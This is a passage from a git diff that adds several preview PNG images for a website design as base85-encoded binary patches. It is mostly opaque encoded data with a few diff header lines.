zD&Ph~=LfCl=;r-#$(1BEn zW>6+>Vp_h*4$6R`?FK!(6VUZfw+5&AX{;#9R`m@({X-Dm%qHUGIW0k+>yBU#6P(fZ zFU2==UpZO?wQE^>JWwzZ#%=_c0_z8qbxi|5wnG0?Y#QT(#JRSPjvH(meQSSmoh{nX ziM?x*Y>Z+>7l!W{$|qjuK>Fg2jO(l z9n>y<_GXF4WA0k1P*1;iBhN(*>Q|Q8PVap`fAv!Or11p-R!_w0cvx6iVc=eqxi$ua z(bU9#(7x~pDktXy8FlqLdv|~LyQrreEmBrgbVby~U;!XSyfJ0Qcq3S9BnA53a6$b> z@YIRHo1&1rJ4%}V;Gd`a`N03yO3>?HJ5O?8K!92OYA_t}S%Y&}-Xo;CQZ==YaUZ;`ja!EEc;SMdHXg6Q2~t$8>>{DR^3fGXl3 zoF>w!Z;�>VB@N^Z+kMXwtfnM7T39vx}wAlrUX|=vsn1-_`2B$H!`7&sE83U0q#t zMVC#zC=vtO@X`&MH|-7c_0G77O~t=Y_T|}N5DG*Xq(`uiDxtssBN_jpBGcJy^~E95yOJ>H{d>{oTb0bIngX3J+b@Nc>p*DgT#uYnB@=) z?1#fqEkMHo(ssHw*$o)%DlRUrWrQzzypEMv1T@~O{78HIUvx)NC~SdEwbzDkQ7F#n zv?|?X$u<4adGXwSj}NEnyo{WjwgTTnlZ+b?$}C)nBaFcp$|IuUO$pIMU<&QlaB@arM0!;Hw;4*lC6w!m#^hu##H!rt zzc4Pv<7@ym`}#cgq8*>q)}FrF^7Ls~xsLHoaXDpWH-sl4A)#q{r!=;&yE_i|>M1Mb zl73H<&d7`~2*%-XbxMrGlw+UX0lve06LNHGtbj<2m&bTP|3$Ggq$A1JSr9XbZYa*C z?d|Ok-0^XPP*gM6UQsY}|8GegG!;U&wep>c(sQSpS^JA#$4>t4(!i6ZH5OcyB1lG8 z&oq;1-J1>+tfV5Ih8FYbl`Vz9x7F1iNda_60$EJ`2%nVF)_5j7wbER F{}-GoPU8Ro literal 0 HcmV?d00001 diff --git a/website-design/previews/swap-f0.png b/website-design/previews/swap-f0.png new file mode 100644 index 0000000000000000000000000000000000000000..51eeeabc251841f289384f19657a097e5ebc6603 GIT binary patch literal 3925 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 literal 0 HcmV?d00001 diff --git a/website-design/previews/swap-f1.png b/website-design/previews/swap-f1.png new file mode 100644 index 0000000000000000000000000000000000000000..4c9c5584290285b07c9ed9b90e02e73bc7a7eee0 GIT binary patch literal 4042 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 